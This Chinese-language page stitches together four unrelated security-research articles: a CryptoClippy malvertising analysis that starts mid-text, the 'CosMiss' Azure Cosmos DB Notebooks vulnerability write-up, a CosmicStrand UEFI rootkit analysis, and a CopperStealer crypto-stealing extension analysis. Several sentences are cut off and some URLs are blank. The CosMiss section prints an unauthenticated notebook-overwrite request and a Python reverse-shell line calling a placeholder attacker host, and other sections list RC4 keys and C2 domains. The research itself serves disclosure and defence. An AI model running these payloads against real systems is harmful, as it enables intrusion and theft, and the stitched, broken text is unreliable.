Knowledgeprojects腳本包含使用PowerShell清除日誌的功能。

99.19.png

通過惡意廣告（Malvertising）傳播

研究人員觀察到這種利用谷歌廣告和TDS的惡意軟件活動。當用戶搜索“WhatsApp網絡”時，攻擊者使用了出現在搜索結果中的谷歌搜索廣告。這使他們能夠誘騙受害者打開並下載他們的惡意壓縮.zip文件。在2022年初收到這一攻擊的警報後，谷歌實施了額外的保護措施，並表示，其係統在檢測和防止再次攻擊方面有所改進。

此外，攻擊者使用TDS過濾惡意登錄頁面上的真正用戶和機器人。 TDS過濾器通過使用各種標準來確定客戶端設備是否是真實用戶以及葡語使用者，從而排除機器人和互聯網爬蟲。

首先，TDS檢查連接設備是否來自虛擬專用網絡（VPN）IP地址。使用VPN會使攻擊者難以確定受害者設備的位置和特徵，也會使其更難傳播惡意內容。

接下來，TDS進行用戶代理檢查。用戶代理是網絡瀏覽器發送到網站以識別其自身及其功能的文本字符串。通過檢查客戶端設備的用戶代理，TDS通過檢查接受語言(Accept-Language)標頭來確定首選瀏覽器語言是否為葡語。 TDS還可以檢查其他信息，如設備類型、操作系統、瀏覽器版本和地理位置。

最後，TDS遵循超文本傳輸協議（HTTP）GET標頭標準。 HTTP GET標頭是由web瀏覽器發送到服務器以檢索資源的請求消息。標頭可以包含各種信息，例如請求的URL、用戶代理、Accept-Language標頭和referer標頭。檢查HTTP GET標頭中的條件是TDS確定瀏覽器的首選語言是否為葡語的另一種方法。

如果TDS確定連接不符合上述標準，受害者將被重定向到另一個登錄頁（如下圖所示），並被提示點擊“繼續到WhatsApp Web”。這將重定向到合法的WhatsApp Web域，而不會有任何進一步的惡意活動，有效地逃避了受害者和安全軟件的檢測。

惡意域名的內容但是，如果TDS確定該連接滿足上述條件，受害者將被重定向到惡意登錄頁面，並提示他們下載惡意的.zip文件

受害者的瀏覽歷史這個網站偽裝成WhatsApp的官方網站，提供WhatsApp桌面。從mydigitalrevival[.]com下載此文件就會下載所謂的WhatsApp.zip。

mydigitalrevival[.]com網站研究人員發現的屬於本次活動的其他域名還有preflightdesign[.]com和pickconferences[.]com，它們的葡語版本也有同樣的內容。

當受害者成功加載惡意網頁並下載所提供的.zip文件時，其中包含一個.lnk文件，如下圖所示。

初始ZIP文件中包含LNK文件在執行.lnk文件後，研究人員觀察到下載到C:\Users\\AppData\Roaming\Ricoly中的以下文件：

Ricoly.bat；

Ricoly.ps1；

兩個混淆的加密文件（ps，sc）；

一個混淆的加密輔助配置文件（pf）；

第一個PowerShell腳本加載程序Ricoly.ps1由Ricoly.bat批處理文件啟動並執行。 Ricoly.ps1腳本的目的是解密第二階段的模糊化/加密的腳本ps。

第二階段PowerShell腳本ps的功能是充當反射PE載入程序。 ps文件將以寫入文件系統的名為sc的加密EXE文件為目標。 sc文件是反射加載的，最終用作CryptoClippy的載入程序。

主要可執行文件在執行.lnk文件和兩個後續的PowerShell腳本之後，CryptoClippy操作由一個可執行載入程序和主要可執行文件組成。 CryptoClippy的載入程序是一個64位的EXE文件，其中主竊取程序EXE文件嵌入在.data部分中。載入程序使用系統調用，在執行時似乎與SysWhispers2實現重疊。

SysWhispers2是一個更隱蔽的代碼執行實現，用於繞過對用戶模式API的檢查。這種繞過是可能的，因為用戶模式API通常由應用程序使用，包括AV/EDR產品通過用戶模式掛鉤進行內省。

CryptoClippy的主要可執行文件是用C編寫的，它是用傳輸層安全性（TLS）庫Mbed-TLS靜態編譯的。可執行文件的主要功能包括它自己的名稱生成算法即文件路徑、互斥對象和事件對象。主可執行文件還廣泛使用了一個名為pf的本地輔助文件，該文件包含一個加密的證書。 CryptoClippy使用它自己的算法從輔助文件中消除字符查找表的混淆，從而從查找表中指向值的指針構建明文證書。

該威脅還使用兩個不同的RC4密鑰進行各種字符串解密。字符串解密例程將使用內存中內置的結構，用於結構中的索引位置、字符串偏移量和字符串大小。這些字符串與對象名稱、域、加密錢包和持久性腳本有關。

RC4Key:1b43233d5a054808061c190336320e46

RC4Key:4646070B47445451604F291809444703竊取加密貨幣

HireHackking

我們最近在Azure Cosmos DB中發現了一個很嚴重的漏洞，即Cosmos DB Notebooks缺少身份驗證檢查。我們將該漏洞命名為“CosMiss”。簡而言之，如果攻擊者知道Notebook的“forwardingId”（即Notebook Workspace的UUID），他們就擁有Notebook的全部權限，包括讀寫訪問權，以及修改運行Notebook的容器的文件系統的能力。只要修改容器文件系統（即用於臨時Notebook託管的專用工作區），我們就能夠在Notebook容器中實現遠程代碼執行（RCE）。

發現該漏洞後，Orca Research Pod立即將其報告給微軟安全響應中心（MSRC），後者在兩天內修復了這個嚴重問題，這比我們在Azure Synapse中發現的Synapse漏洞的響應速度要快得多。我們驗證了修正版，可以確認現在所有的Cosmos DB Notebook用戶在訪問Notebook之前都需要在請求頭中有Authorization（授權）令牌。我們要感謝微軟的合作和快速行動，以堵住該漏洞。

CosMiss漏洞簡介該漏洞存在於Azure Cosmos DB Jupyter Notebooks，這是微軟的快速NoSQL數據庫，廣泛用於微軟自己的電子商務平台和零售行業，用於存儲目錄數據和訂單處理管道中的事件來源。

Jupyter Notebooks內置於Azure Cosmos DB中，被開發人員用來執行常見任務，比如數據清理、數據探索、數據轉換和機器學習。我們在研究中發現，Cosmos DB Jupyter Notebooks缺少身份驗證檢查。

這是特別危險的，因為開發人員使用Cosmos DB Notebooks來創建代碼，經常含有高度敏感的信息，比如嵌入在代碼中的機密信息（secrets）和私鑰。

“CosMiss”漏洞允許未經身份驗證的用戶獲得對Azure Cosmos DB Notebooks的讀寫訪問權、注入代碼並覆蓋代碼，從而實施遠程代碼執行（RCE）。

然而，攻擊者只有在知道Notebook Workspace的UUID（又叫forwardingId）的情況下才能夠利用該漏洞。據我們所知，獲得forwardingId的唯一方法是，以經過驗證的用戶的身份打開Notebook。但是forwardingId並未被記錄為是機密信息，所以我們沒有任何理由相信用戶會把它當成機密信息。

2022年10月3日，Orca Security向微軟報告了該漏洞，微軟在兩天內修復了該漏洞，現在要求每個Notebook會話的請求頭中有授權令牌。

Cosmos DB Notebooks簡介CosMiss漏洞存在於Cosmos DB Jupyter Notebooks中。 Azure Cosmos DB是一個快速NoSQL數據庫。 Azure Cosmos DB包含Jupyter Notebooks，這是一種開源交互開發環境（IDE），以便開發人員創建、執行和共享含有實時代碼、方程、可視化和敘事文本的文檔。由於開發人員使用Cosmos DB Notebooks來創建代碼，因此可能含有高度敏感的信息，比如嵌入在代碼中的機密信息和私鑰。

利用CosMiss的概念證明為了演示該漏洞，我們使用Azure Table API和Serverless Capacity模式創建了Cosmos DB。該漏洞還在Core SQL api（推薦）和吞吐量配置的部署環境上進行了驗證。

Cosmos DB Data Explorer blade中的Notebooks功能讓客戶可以使用Jupyter功能（在Python、C#或其他運行時環境中）訪問和可視化其數據。此外，客戶使用該功能檢查來自Cosmos DB的數據，並檢查可以使用API進行集成的其他數據源。

1. 不需要授權頭當用戶創建新的Notebook後，phoenixServiceUrl創建下列端點，它將生成以下項目：

POST

/api/controlplane/toolscontainer/cosmosaccounts/subscriptions/[tenant-id]/resourceGroups/Orca-

Research/providers/Microsoft.DocumentDB/databaseAccounts/orca-cosmos-

dev/containerconnections/multicontainer HTTP/2

Host: tools.cosmos.azure.com

Content-Length: 88

Sec-Ch-Ua: 'Google Chrome';v='105', 'Not)A;Brand';v='8', 'Chromium';v='105'

Authorization: Bearer

eyJ0eXAiOiJKV1QiLdaaaxxWMFRPSSIsImtpZCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGxWMFRPSSJ9.eyJhdWQddaaam5ldC8yMjdkY2ExZC1iMWE1LTQ0MDEtYTVmZi05N2Q5 OTMxZWE4YmUvIiwiaWF0IjoxNjY0NzE4NTI3LCJuYmYiOjE2NjQ3MTg1MjcsImV4cCI6MTY2NDcyMzIxOSwiYWNyIjoiMSIsndkbkZ3d1lKQUNNNjJjdmkrbERTVnRpQWIvdEpDOW 9HV2VFd2pwWGhsL2x3aStzVzZWWHB5UmV5ZFpwMVgiLCJhdI0N2QtOTc0ZTUzY2JkZjNjIiwiYXBwaWRhY3Icadasdddddab3NtbyIsIm9pZCI6IjNhMzJkNmU1LWEyYzMtNGM5M S1iOTA5LTc0N2YxNjQ2NDg3MSIsInB1aWQiOiIxMDAzMjAwMjM2RUJBODZEIiwicmgiOiIwLkFZSUFIY3A5SXFXeEFVU2xfNWZaa3g2b3ZrWklmM2tBdXRkUHVrUGF3ZmoyTUJPQ0 FHay4iLCJzY3AiOiJ1c2VyX2ltcGVyc29uYXRpb24iLCJzdWIiOiJZTElsRzB1anZDaktlSWo5OHozRk94R3ZvTjl2Umx3UFRtczlOa1dfQng0IiwidGlkIjoiMjI3ZGNhMWQtYj FhNS00NDAxLWE1ZmYtOTdkOTkzMWVhOGJlIiwidW5pcXVlX25hbWUiOiJjb3Ntb0BvcmNhc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJjb3Ntb0BvcmN hc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJuZ3VDVm1qZFhrS3RUSW5BaG9GbEFBIiwidmVyIjoiMS4wIiwieG1zX3RjZHQiOjE2MTg4MTYwODl9.Gyd 3LXwzBG1yj-JfO0PCXOyD0exC7U-MCXwJBdsadcadad3xLIRZ7NqBq5BhE0WXLV2cgziYf-CAT9QT6oy1yIn58RaRdMojlVbhCpxlfFTdnsOXiorzNwTHzcwwvWsM4fbl2vV-RKMO

Content-Type: application/json

Sec-Ch-Ua-Mobile:0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

Sec-Ch-Ua-Platform: 'macOS'

Accept: /

Origin: https://cosmos.azure.com

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://cosmos.azure.com/

Accept-Encoding: gzip, deflate

Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

{'cosmosEndpoint':'https://orca-cosmos-dev.documents.azure.com:443/','poolId':'default'}

1.png

圖1

2.png

圖2

響應如下：

3.png

圖3

我們可以看到以下項目被創建：

1. 一個https://seasia.tools.cosmos.azure.com端點。

2. 唯一端口（端口範圍是10000-10009，後面有詳細介紹）。

3. 充當會話/Notebook ID的唯一值（UUIDv4），又叫forwardingId（上面例子中的ab83e033-1670-4bac-a186-32a1c0dddfbc）。

我們可以看到服務器在後台發送的以下端點：

4.png

圖4

我們目前的forwardingId似乎是27f180bc-cf93-4c42-b23e-f27a5085da57。

如果檢查我們的Notebook服務器（即https://seasia.tools.cosmos.azure.com:10007/）發送的各種請求，似乎所有發送到服務器的請求都含有授權頭，如下面截圖所示：

5.png

圖5

當我們試圖刪除授權頭並發送相同的請求時，我們看到無需授權頭即可列出同一台服務器的不同Notebook。

https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks

6.png

圖6

由於Cosmos DB Table和Python Query基於Jupyter（+Tornado服務器），我們可以查看作為平台一部分的各種端點：

https://github.com/jupyter-

server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json ]

( https://github.com/jupyter-

server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json ) # 36

7.png

圖7

在檢查各種Security Definitions（安全定義）時，我們可以假設默認情況下當前Security Configurations（安全配置）並沒有正確設置，因為需要授權方法用授權頭或查詢字符串來設置。

考慮到這一點，我們現在可以嘗試濫用這種錯誤配置來操縱各種Notebook和模板。

2. 覆蓋、刪除和注入代碼現在不妨嘗試覆蓋當前的Notebook數據。首先，我們在Notebook中編寫一些示例代碼。

8.png

圖8

然後我們保存它：

9.png

圖9

我們還可以通過Burp來檢查Notebook（Untitled.ipynb）：

10.png

圖10

此外，我們可以從以下端點獲取kernel_id：

https://seasia.tools.cosmos.azure.com:10002/api/containergateway/ab83e033-1670-4bac-a186-

32a1c0dddfbc/api/kernels/

發送上述請求，我們將獲得以下id：

11.png

圖11

現在不妨使用以下的JSON攻擊載荷向Notebook本身發送PUT請求，從而覆蓋隨機的Notebook：

source parameter ⇒ “print(’Hacked’)”

text parameter ⇒ “print(’Hacked’)”

PUT/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks/Untitled.ipynb HTTP/2

Host: [seasia.tools.cosmos.azure.com:1000](

Content-Length: 983

Sec-Ch-Ua: 'Google Chrome';v='105', 'Not)A;Brand';v='8', 'Chromium';v='105'

Content-Type: application/json

Sec-Ch-Ua-Mobile:0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

Sec-Ch-Ua-Platform: 'macOS'

Accept: */*

Origin: [

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: [

Accept-Encoding: gzip, deflate

Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

{'kernel':{'id':null,'name':'python3'},'name':'',

'content': {'cells': [{'cell_type': 'code', 'execution_count': 1, 'id': '47bdbef0-ea14-4960-8789-7983e63312dd', 'metadata': {'collapsed': true, 'execution': {'iopub.execute_input': '2022-10-02T08:06:27.283Z', 'iopub.status.busy': '2022-10-02T08:06:27.277Z', 'iopub.status.idle': '2022-10-02T08:06:27.299Z', 'shell.execute_reply': '2022-10-02T08:06:27.292Z'}, 'jupyter': {'outputs_hidden': false, 'source_hidden': false}, 'nteract': {'transient': {'deleting': false}}, 'trusted': true}, 'outputs': [{'name': 'stdout', 'output_type': 'stream', 'text': 'hacked\\n'}], 'source': 'print('Hacked!')'}], 'metadata': {'language_info': {'file_extension': 'ipynb', 'mimetype': 'application/json', 'name': 'python', 'version': '3.7'}, 'nteract': {'version': 'dataExplorer 1.0'}}, 'nbformat': 4, 'nbformat_minor': 5}, 'format': 'json', 'mimetype': null, 'size': 993, 'writable': true, 'path':'notebooks/Untitled.ipynb','type':'notebook'}

12.png

圖12

然後，我們通過退出Notebook本身（點擊X符號）來檢查更新後的Notebook，然後通過點擊Tables API標題右側的Refresh（刷新）按鈕來刷新表/Notebook：

13.png

圖13

我們可以看到，通過將精心設計的攻擊載荷直接發送到服務器，Notebook中的代碼被覆蓋了。我們還設法檢索任何Notebook，刪除並向其中註入代碼，不管我們是連接到Azure，還是只是一個身份未經認證的用戶。

14.png

圖14

在下面的視頻中，我們演示上述概念證明。

15.png

圖15

3. 遠程代碼執行（RCE）當通過Azure UI加載Cosmos Data Explorer時，Explorer儀表板由以下文件構建：

/home/cosmosuser/.local/lib/python3.6/site-packages/jupyter_client/kernelspec.py

現在，由於我們成功地覆蓋了/home/cosmosuser目錄中的任何文件，我們可以操縱該文件，並向其添加以下行：

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\'ATTACKER_ID\\',ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\'/bin/bash\\')

這樣一來，當Data Explorer加載時，整個python代碼的這部分也將被執行，並最終將通過客戶機為任何遠程攻擊者提供反向shell。

16.png

圖16

通過發送含有文件原始內容+ RCE行的PUT請求來修改文件：

17.png

圖17

刷新Data Explorer頁面後，我們應該得到一個反向shell。

18.png

圖18

以下視頻演示了這個RCE：

19.png

圖19

HireHackking

abstract_cosmic_strand-1200x600.jpg

Rootkit 是植入操作系統最深處的惡意軟件。儘管在紙面上它們似乎對攻擊者很有吸引力，但創建它們會帶來重大的技術挑戰，並且最輕微的編程錯誤都有可能使受害計算機完全崩潰。在對2022 年的APT 預測中，我們注意到儘管存在這些風險，但預計會有更多的攻擊者達到開發此類工具所需的複雜程度。嵌入在如此低級別的操作系統中的惡意軟件的主要吸引力之一是，它極難被檢測到，而且在固件rootkit的情況下，即使重新安裝操作系統或用戶完全更換了計算機的硬盤驅動器，也會確保計算機保持在感染狀態。

在本文中，我們會介紹一個名為CosmicStrand 的UEFI 固件rootkit。

受影響的設備雖然我們無法發現受害計算機最初是如何被感染的，但對其硬件的分析揭示了CosmicStrand 可以感染的設備。 rootkit 位於技嘉或華碩主板的固件映像中，我們注意到所有這些映像都與使用H81 芯片組的設計有關。這表明可能存在允許攻擊者將其rootkit 注入固件映像的常見漏洞。

在這些固件映像中，對CSMCORE DXE 驅動程序進行了修改，其入口點已被修補以重定向到.reloc 部分中添加的代碼。此代碼在系統啟動期間執行，會觸發一個長執行鏈，從而導致在Windows 中下載和部署惡意組件。

查看我們能夠獲得的各種固件映像，我們評估這些修改可能是使用自動修補程序執行的。如果是這樣，則攻擊者可以事先訪問受害者的計算機，以提取、修改和覆蓋主板的固件。這可以通過已經部署在計算機或物理訪問上的預先植入的惡意軟件來實現。

感染過程概述在深入了解組成這個rootkit 的各種組件之前，我們想提供一個關於它試圖完成的任務的高級視圖。此執行鏈的目標是在每次啟動時從受感染的UEFI 組件開始將內核級植入部署到Windows 系統中。

UEFI 惡意軟件開發者面臨一個獨特的技術挑戰：他們的植入程序在啟動過程中很早就開始運行，以至於操作系統（在本例中為Windows）甚至還沒有加載到內存中。到那時，UEFI執行上下文已經終止了。 rootkit完成的主要任務是找到一種方法，將惡意代碼一路傳遞到各個啟動階段。

工作流程包括連續設置掛鉤，允許惡意代碼持續存在，直到操作系統啟動之後。所涉及的步驟是：

初始受感染的固件引導整個鏈。

該惡意軟件在啟動管理器中設置了一個惡意掛鉤，允許它在執行之前修改Windows 的內核加載程序。

通過篡改操作系統加載程序，攻擊者能夠在Windows 內核的功能中設置另一個掛鉤。

當稍後在操作系統的正常啟動過程中調用該函數時，惡意軟件最後一次控制了執行流程。

它在內存中部署一個shellcode 並聯繫C2 服務器以檢索實際的惡意有效負載以在受害者的計算機上運行。

下圖中總結了這些步驟：

1.png

UEFI 植入2.png

在確定了惡意軟件植入的目的之後，我們現在可以更詳細地了解這些步驟是如何執行的。

整個執行鏈從EFI 驅動程序開始，它似乎是一個名為CSMCORE 的合法版本的補丁版本（旨在促進通過MBR 在傳統模式下啟動計算機），其中攻擊者修改了指向HandleProtocol 啟動服務函數的指針。每次調用此函數時，都會將執行重定向到攻擊者提供的代碼，該代碼試圖確定調用它的組件（它正在尋找要感染的特定組件——efi）。通過檢查函數參數以及位於返回地址的字節，CosmicStrand 可以識別它正在尋找的確切“調用”。

3.png

之所以選擇執行中的這個特定點，是因為在這個階段，引導管理器已經加載到內存中，但還沒有運行。 CosmicStrand抓住了這個機會來修補它的Archpx64TransferTo64BitApplicationAsm中的一些字節。

該函數稍後在正常的操作系統啟動過程中被調用也是在一個關鍵時刻：那時Windows 操作系統加載程序也存在於內存中，並且可以反過來進行修改。

當它運行時，Archpx64TransferTo64BitApplicationAsm 通過查找特定的字節模式從OS 加載器(OslArchTransferToKernel) 中定位一個函數。 然後CosmicStrand 在它的末端添加一個掛鉤。

4.png

OslArchTransferToKernel 在執行從Windows 加載程序轉移到Windows 內核之前被調用，這使其成為此類rootkit 的傳統掛鉤點。

在Windows 內核有機會運行之前，CosmicStrand 在ZwCreateSection 中設置了另一個掛鉤。惡意代碼被複製到內存中的ntoskrnl.exe的映像中，並且ZwCreateSection的第一個字節被重寫以重定向到它。我們注意到，攻擊者小心翼翼地將惡意代碼放在ntoskrnl.exe的.text部分的空閒空間中，這使得這種重定向在可能的安全產品眼中不那麼顯眼。

5.png

此時，CosmicStrand 似乎還試圖禁用PatchGuard，這是一種用於防止修改內存中Windows 內核的關鍵結構的安全機制。為此，它會定位ntoskrnl.exe 的KiFilterFiberContext 函數並對其進行修改，使其無需執行任何工作即可返回。值得注意的是，該函數的本地化也是通過搜索硬編碼模式來實現的，非常詳盡，甚至包含與2016 年8 月發布的Redstone 1 對應的模式。

6.png

然後，Windows內核啟動，並在正常運行時調用掛鉤的ZwCreateSection函數。當這種情況發生時，CosmicStrand會再次獲得執行的控制權，並在運行更多惡意代碼之前恢復原始代碼。

ZwCreateSection 掛鉤的主要目的是收集內核提供的API 函數的地址，並為下一個組件創建一個導入表。通過使用解析函數，它還在內核地址空間中分配了一個緩衝區，在調用shell代碼之前，它在這個地址空間映射shell代碼。

內核shellcode到目前為止描述的所有步驟僅用於將代碼執行從UEFI 傳播到Windows 內核。這個shellcode 是迄今為止鏈中第一個真正的惡意組件。它設置了一個線程通知例程，每次創建新線程時都會調用該例程。 CosmicStrand 一直等到winlogon.exe 出現，然後在這個高權限上下文中執行回調。

這樣，CosmicStrand 會休眠10 分鐘並測試受感染計算機的互聯網連接。 CosmicStrand 不依賴高級API 函數來生成網絡流量，而是直接與傳輸設備接口交互：它生成所需的IRP（I/O 請求數據包）並通過將IOCTL 發送到TCP 或UDP 設備對象。 DNS請求可以通過谷歌的DNS服務器(8.8.8[.]8)或自定義的DNS服務器(222.222.67[.]208)來實現。

CosmicStrand 通過向其C2 服務器update.bokts[.]com 發送自定義的UDP或TCP 數據包來檢索其最終有效負載。回复預計將返回一個或多個包含528 字節塊的數據包，遵循以下結構：

7.png

各種數據塊被重新組裝成一家族字節，這些字節映射到內核空間並解釋為shellcode。不幸的是，我們無法獲得來自C2 服務器的數據副本。然而，我們確實在我們可以研究的一台受感染計算機上找到了內存中的用戶模式樣本，並相信它與CosmicStrand 相關聯。該示例是一個可執行文件，它運行命令行以便在受害者的計算機上創建一個用戶（“aaaabbbb”）並將其添加到本地管理員組。

8.png

我們可以由此推斷，從C2 服務器接收到的shellcode 可能是攻擊者提供的PE 可執行文件的暫存器，而且很可能存在更多。

較舊的CosmicStrand 變體在調查過程中，我們還發現了這個rootkit 的舊版本。它們具有相同的部署過程，它們的細微差別與內核shellcode 有關。

它試圖從exe 而不是winlogon.exe 劫持線程。

為獲得額外的shellcode 以運行而聯繫的C2 域是不同的(erda158[.]to)。

每次在系統中創建新進程時，舊變體都會打印調試消息。

9.png

根據我們對這兩種變體使用的基礎設施的分析，我們估計舊的一種在2016 年底至2017 年中期之間使用，而當前的一種在2020 年曾非常活躍。

基礎設施我們知道有兩個C2服務器，每個變體對應一個。根據對他們可用的被動DNS數據，這些域有一個很長的生命週期，並在有限的時間內解析到IP地址，否則，rootkit 將無法運行。因此值得注意的是，雖然攻擊者選擇部署極其持久的植入程序，但對受害計算機的實際利用可能只有幾個月。但是，這些域可能偶爾會在很短的時間內被重新激活，並且此信息不會被被動DNS 系統記錄。

10.png

細心的讀者會注意到這兩個域的活動期之間存在三年的差距。在此期間，攻擊者可能正在使用通過CosmicStrand 部署的用戶模式組件控制受害者的計算機，或者更有可能我們還沒有發現的其他變體和C2服務器。

受害者目前，研究人員在中國、越南、伊朗和俄羅斯發現CosmicStrand 的受害者。

總結綜合分析，CosmicStrand 是由說中文的開發者開發的，或者是利用了講中文的攻擊者的資源。具體來說，CosmicStrand中的一些代碼模式也在另一個惡意軟件家族MyKings殭屍網絡中被觀察到(例如，MD5 E31C43DD8CB17E9D68C65E645FB3F6E8)。 Sophos在2020年記錄了這個用於部署加密器的殭屍網絡。

與CosmicStrand 的相似之處包括：

使用MBR rootkit 在MyKings 中建立隱秘持久性。

CosmicStrand 和MyKings 在內核模式（Proc 和GetM）中分配內存時使用相同的標籤。

兩個家族都以相同的方式生成網絡數據包，並直接利用UDP 和TCP 設備對象。

兩者使用的API 哈希碼是相同的，如下面的截圖所示。據我們所知，這種算法只在另外兩個rootkit 中被發現，即MoonBounce 和xTalker。

12.png

除了這種代碼相似性之外，CosmicStrand 使用的硬編碼後備DNS 服務器位於CHINANET-BACKBONE (AS4134) 這一事實可能被視為攻擊者屬於中文網絡的一個非常低的置信度的跡象。

CosmicStrand 是一個複雜的UEFI 固件rootkit，它允許其所有者實現持久性攻擊。

HireHackking

趨勢科技的研究人員跟踪了CopperStealer幕後組織的最新部署，這次是通過基於Chromium的惡意瀏覽器擴展程序竊取加密貨幣和用戶的錢包帳戶信息。

趨勢科技最近發布了關於CopperStealer通過濫用瀏覽器竊取程序、廣告軟件瀏覽器擴展程序或遠程桌面等各種組件傳播惡意軟件的分析。跟踪網絡犯罪集團的最新活動，研究人員發現了一個惡意瀏覽器擴展，當受害者登錄到一個主要的加密貨幣交易網站時，該擴展能夠創建和竊取受感染設備的API密鑰。這些API密鑰允許擴展程序執行交易並將加密貨幣從受害者的錢包發送到攻擊者的錢包。

與以前的攻擊類似，這個新組件通過fake crack（也稱為warez）網站傳播。該組件通常與瀏覽器竊取程序一起分佈在一個釋放器中，並與其他不相關的惡意軟件捆綁在一起。這個捆綁包被壓縮成一個受密碼保護的檔案，自7月以來一直在野外傳播。

滴管/擴展安裝程序該組件在第一階段使用之前文章中描述的相同加密器，然後是第二階段，其中解密的DLL是UltimatePackerExecutables-(UPX)打包的。解密和解包後，我們注意到一個名為CRX的資源目錄，其中包含一個7-Zip壓縮文件。惡意Chrome瀏覽器擴展通常以這種方式打包。

1.png

名為CRX的擴展安裝程序，包含一個7-Zip壓縮文件

該壓縮文件包含一個帶有設置的JSON文件和另一個帶有擴展安裝程序本身代碼的7-Zip壓縮文件。

2.png

CRX的解壓內容

擴展安裝程序首先修改文件首選項和安全首選項在chrome瀏覽器的用戶數據目錄。這個名為Preferences的文件是JSON格式，包含個人用戶設置。擴展安裝程序關閉瀏覽器通知。

同時，名為SecurePreferences的文件也是JSON格式，包含已安裝擴展的設置。對於新安裝的擴展，crx.json文件的內容將插入到此安全首選項設置文件中。新安裝的擴展也會添加到位於註冊表中的擴展安裝允許列表中。

然後將crx.7z壓縮文件中的文件提取到位於

Chrome

Chromium

Edge

Brave

Opera

CốcCốc

CentBrowser

Iridium

Vivaldi

Epic

Coowon

AvastSecureBrowser

Orbitum

ComodoDragon我們還注意到，該擴展程序被安裝到受害者的瀏覽器中，具有兩個不同的擴展程序ID，且在官方Chrome網上商店中都找不到：

Cbnmkphohlaaeiknkhpacmmnlljnaedp；

Jikoemlnjnpmecljncdgigogcnhlbfkc；擴展分析安裝擴展程序後，我們還注意到chrome://extensions/中新安裝了以下擴展程序。

3.png

安裝的惡意擴展

擴展清單定義了兩個Java腳本。後台腳本名為background.js，並且只在一個實例中運行在擴展本身內部。同時，內容腳本稱為content.js，並在coinbase.com上下文中運行，如擴展清單中的代碼片段所示。

4.png

在擴展清單中指定的內容腳本的設置

腳本混淆這兩個Javascript文件都被嚴重混淆。在第一個混淆步驟中，所有字符串被拆分為子字符串，存儲在單個數組中，通過調用多個帶有5個十六進制整數參數的十六進制命名函數來實現對數組的訪問。

5.png

第一層混淆

看看第二個混淆步驟，所有字符串、邏輯操作符(+、-、*、/)、函數調用等都被插入到對像數組中。每個對像都有一個隨機字符串作為名稱，或者另一個字符串或函數作為值。在我們分析的示例中，_0x1f27e3['PFPYr']對應字符串' set '， _0x1f27e3['LYLfc'](0,1)對應邏輯表達式0!=1。

6.png

第二層混淆

這兩個混淆步驟都可以通過使用自定義自動化腳本來反混淆。

後台腳本分析通過分析腳本，本節分析了攻擊者如何能夠竊取合法加密貨幣錢包用戶的賬戶信息。當擴展啟動時，後台腳本進行兩個查詢。第一個是對http:///traffic/chrome的GET請求，可能是出於統計目的。第二個查詢是對http://

blockchain.com

coinbase.com

binance.com

ftx.com

okex.com

huobi.com

kraken.com

poloniex.com

crypto.com

bithumb.com

bitfinex.com

kucoin.com

gate.io

tokocrypto.com

tabtrader.com

mexc.com

lbank.info

hotbit.io

bit2me.com

etoro.com

nicehash.com

probit.com然後，該擴展為各種加密貨幣和令牌定義了一個攻擊者的地址數組：

Tether(USDT,specificallyinEthereumERC20andTRONTRC20)

Ethereum(ETH)

Bitcoin(BTC)

Litecoin(LTC)

Binancecoin(BNB)

Ripple(XRP)

Solana(SOL)

BitcoinCash(BCH)

Zcash(ZEC)

StellarLumens(XLM)

Dogecoin(DOGE)

Tezos(XTZ)

Algorand(ALGO)

Dash(DASH)

Cosmos(ATOM)對於ETH地址，腳本硬編碼了大約170個額外的基於ERC20的代幣。之後，擴展啟動onMessage偵聽器以偵聽來自擴展進程或內容腳本發送的消息。該消息採用JSON格式，其中一個name-value pair稱為method。後台腳本偵聽以下方法：

马云惹不起马云Method “homeStart”

這個方法試圖從Chrome的本地存儲獲取API密鑰(apiKey)和API秘密(apiSecret)，如果這些密鑰和秘密對是之前獲得併保存的。以下步驟需要這些參數：

1.使用API通過請求/api/v2/accounts獲取有關錢包、地址和余額的信息。此請求的結果也被洩露到http://

2.如果請求成功，API會向內容腳本發送“okApi”消息並開始解析錢包信息。如果錢包餘額不為零，它會嘗試將85%的可用資金發送到攻擊者控制的錢包。

7.png

尋找餘額不為零的錢包

8.png

竊取85%的可用資金

交易請求的結果也會被洩露到http://

1.如果不成功，API會向內容腳本發送“errorApi”消息。 “errorApi”消息包含來自https://www.coinbase.com/settings/api的CSRF令牌作為一個參數，以及對新API密鑰創建請求的響應。

2.Method “createApi”。

此消息是從內容腳本接收的，並包含一個雙因素身份驗證(2FA)代碼作為參數之一。此代碼用於打開新的模式窗口以創建API密鑰。通常，當你在CoinbaseAPI設置中點擊“+NewAPIKey”時，會請求一個2FA代碼，如果代碼正確，就會出現模式窗口。

在創建新API的第二步中，需要選擇錢包及其權限。惡意擴展請求所有帳戶的所有可用權限。

9.png

選擇所有帳戶和權限

之後，需要再插入一個身份驗證代碼，然後就會顯示一個帶有新生成的API密鑰的表單。如果成功，後台腳本然後繼續從“API Key details”表單提取兩個API密鑰(API Key和API Secret)，將它們保存到Chromium的本地存儲以供以後使用，並將它們提取到http:///traffic/step。如果API身份驗證不成功，將向內容腳本發送一條“retryApi”消息。

